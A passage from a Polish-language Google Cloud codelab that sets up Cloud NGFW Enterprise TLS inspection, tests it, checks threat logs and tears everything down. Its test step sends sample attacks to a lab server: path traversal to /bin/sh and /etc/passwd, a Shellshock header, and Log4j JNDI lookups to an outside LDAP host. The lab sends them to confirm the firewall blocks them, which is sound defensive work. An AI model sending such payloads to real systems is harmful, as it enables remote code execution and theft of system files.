      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Zaimportuj konfigurację zaufania:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Zaktualizuj plik YAML zasad TLS, aby uwzględnić konfigurację zaufania:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Zaimportuj zaktualizowane zasady protokołu TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Weryfikacja inspekcji TLS ruchu wschód-zachód

Połącz się z klientem za pomocą SSH, aby przetestować ruch wschód-zachód z zaktualizowaną konfiguracją zaufania:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom przykładowe żądanie TLS do serwera:

curl https://$target_privateip --max-time 2

Jeśli nadal widzisz poniższy wynik, poczekaj, aż aktualizacje zostaną rozpowszechnione.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Oczekiwane dane wyjściowe:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Wysyłanie złośliwego ruchu testowego na serwer:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Oczekiwane dane wyjściowe:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Nie otrzymano żadnych odpowiedzi zgodnie z oczekiwanym wynikiem poniżej, co potwierdza, że przykładowe ataki są teraz blokowane w przypadku ruchu wschód-zachód.

13. Logowanie

W konsoli Cloud otwórz Logowanie > Eksplorator logów, wpisz poniższy filtr i wykonaj zapytanie dotyczące logów. Zastąp [PROJECT_ID] identyfikatorem projektu:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Wpisy w logach Cloud NGFW Enterprise powinny wyglądać podobnie jak poniżej:

5b68cc1063c0f4bd.png

Rozwiń wpisy w dzienniku i zwróć uwagę, że ataki wysłane z maszyny wirtualnej klienta na serwer zostały wykryte i zablokowane (luka w zabezpieczeniach Apache Log4j umożliwiająca zdalne wykonanie kodu, jak widać na zrzucie ekranu poniżej).

478f18f8481e90ed.png

Udało Ci się wdrożyć Cloud NGFW Enterprise z inspekcją TLS, aby blokować złośliwe żądania.

Aby dowiedzieć się, jak usunąć te pliki, przejdź do następnej sekcji.

14. Procedura czyszczenia

Czyszczenie po konfiguracji podstawowej

Usuń instancje:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Wykonaj poniższe czynności jeśli role tagAdmin i tagUsers zostały zmienione:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości tagu:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę sieciową zapory sieciowej Cloud Firewall i powiązanie:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń router Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Czyszczenie SPG, powiązań i TLS w Cloud Firewall

Usuń grupę profili zabezpieczeń i profil zagrożeń w tej kolejności:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Usuń powiązanie punktu końcowego zapory sieciowej:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Usuń punkt końcowy zapory sieciowej Cloud Firewall. Może to potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Opcjonalnie możesz sprawdzić, czy punkt końcowy Cloud NGFW został usunięty. W tym celu uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Stan punktu końcowego powinien wskazywać:

STATE: DELETING

Po zakończeniu punkt końcowy nie będzie już widoczny na liście.

Usuń zasadę TLS i konfigurację zaufania w tej kolejności:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Czyszczenie podsieci i sieci VPC

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Gratulacje!

Gratulujemy ukończenia ćwiczenia w Codelabs dotyczącego Cloud NGFW Enterprise na potrzeby inspekcji TLS w ruchu wewnątrz sieci i ruchu wychodzącym.